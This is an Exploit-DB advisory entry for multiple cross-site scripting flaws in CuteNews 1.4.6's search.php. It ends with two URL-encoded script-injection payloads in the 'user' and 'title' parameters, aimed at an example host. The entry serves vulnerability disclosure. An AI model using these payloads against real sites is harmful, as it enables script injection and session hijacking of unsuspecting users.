CuteNews 1.4.6 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities

EDB-ID:

33342




Platform:

PHP

Date:

2009-11-10


source: https://www.securityfocus.com/bid/36971/info
  
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
  
Note that exploits for some of the issues may require administrator privilege.
  
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
  
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E